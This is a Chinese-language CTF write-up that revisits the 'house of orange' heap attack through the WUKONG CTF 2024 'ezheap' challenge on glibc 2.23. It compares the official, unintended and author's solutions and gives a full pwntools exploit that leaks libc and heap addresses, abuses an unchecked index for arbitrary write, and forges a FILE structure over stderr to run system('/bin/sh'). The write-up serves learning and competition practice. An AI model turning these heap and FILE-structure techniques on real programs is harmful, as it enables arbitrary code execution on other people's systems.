house of orange新理解

  • house of orange攻击流程没什么好说的,但笔者之前一直认为就只是把top chunk放入unsorted bin,然后修改unsorted bin的bk为IO_list_all-0x10,之后add一个大的chunk实现unsorted bin attack的同时出发malloc_assert直接走IO拿到shell
  • 这里以WUKONG CTF2024 ezheap为例记录一下新的理解

题目分析

  • Partial RELRO,NO PIE ,libc2.23
  • add和edit都有0x1000的长度,很明显的溢出。没有delete,同时show只能show前8个字节
  • 显然要用house of orange来泄露libcbase,但是究竟如何泄露heapbase感觉有些困难

官方wp

  • 泄露libcbase还是利用house of orange 但是不要把思维局限了,这个题还有个NO PIE 限制,那么就可以把unsorted bin的bk修改为chunklist加减偏移,这样bss段是可写的,malloc之后也不会有malloc_assert触发,同时可以edit unsorted bin,那么泄露了heapbase后还可以继续申请堆块,那么就可以继续打原来的IO了
  • 最终效果如图所示

非预期解

  • 在mmap区域构造top chunk,同时再add一个比top chunk大的chunk来让这个top chunk进入fastbin
  • 错位构造打malloc_hook然后ogg
  • 可以发现house of orange让top chunk进入unsorted bin会让其size减少0x20,后面构造的时候也要注意
  • 这里已经是在mmap区域伪造top chunk了,要注意这里也要注意0x1000对齐
  • 再add一个比0x90大的chunk,那么这个top chunk就会进入fastbin
  • 这里就可以不用再打IO了,直接打错位构造打malloc_hook然后ogg

自己的解法

  • 注意到这里的chunk_size还有一个字节的溢出
  • 那么这个就可以修改chunk0的最低一个字节,那么这里就可以修改ck0然后show前8个字节就能得到heapbase
  • 同时注意到通过扩展top chunk得到的区域距离堆的偏移是一定的,同时idx还是没有上限的!!!
  • 这里就可以通过edit(addr[0]=stderr)来实现任意地址写!!!
  • 然后直接exit(0)走IO就行了
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('110.40.35.73',33715)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *0x401560')  
    pause()

menu=">"
def add(size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("Size :",str(size))
    p.sendafter("Content :",cont)

def edit(idx,size,cont):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("Index :",str(idx))
    p.sendlineafter("Size :",str(size))
    p.sendafter("Content :",cont)

def show(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("Index :",str(idx))

# dbg()
add(0x10,'a')
edit(0,0x40,b'b'*0x18+p64(0xfe1))
add(0x1000,'c'*8)

add(0x10,b'\x78')
show(2)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c5178
print(hex(libc_base))

io_list_all=libc_base+libc.symbols['_IO_list_all']
stderr=libc_base+libc.symbols['_IO_2_1_stderr_']
sys_addr=libc_base+libc.symbols['system']

for i in range(0x20-2):
    add(0x40,'a')

show(0)
print(p.recv(8))
heapbase=u64(p.recv(8))-0x20

edit(1,0x40,p64(stderr))
chunklist=0x4040E0
offset=(heapbase-chunklist+0x021010)//8
print(offset)
# dbg()

payload=b'/bin/sh\x00'+p64(0) 
payload+=p64(0)+p64(0) #old top chunk fd & bk
payload+=p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
payload=payload.ljust(0x88,b'\x00')+p64(heapbase+0x1500) #lock
payload=payload.ljust(0xd8,b"\x00")
payload+=p64(heapbase+0x50)
# dbg()
edit(3,0x50,p64(sys_addr)*8)
# dbg()
edit(offset,0x1000,payload)

p.sendlineafter(menu,str(1))
# p.sendlineafter("Size :",str(0x1500))

p.interactive()

后记

  • 其实还可以这样打,虽然得到heapbase后不可以再malloc(因为堆块次数已达上限),但是可以通过scanf一个很大的数来实现malloc从而触发malloc_assert来走IO
  • 这样的话就正常打house of orange就可以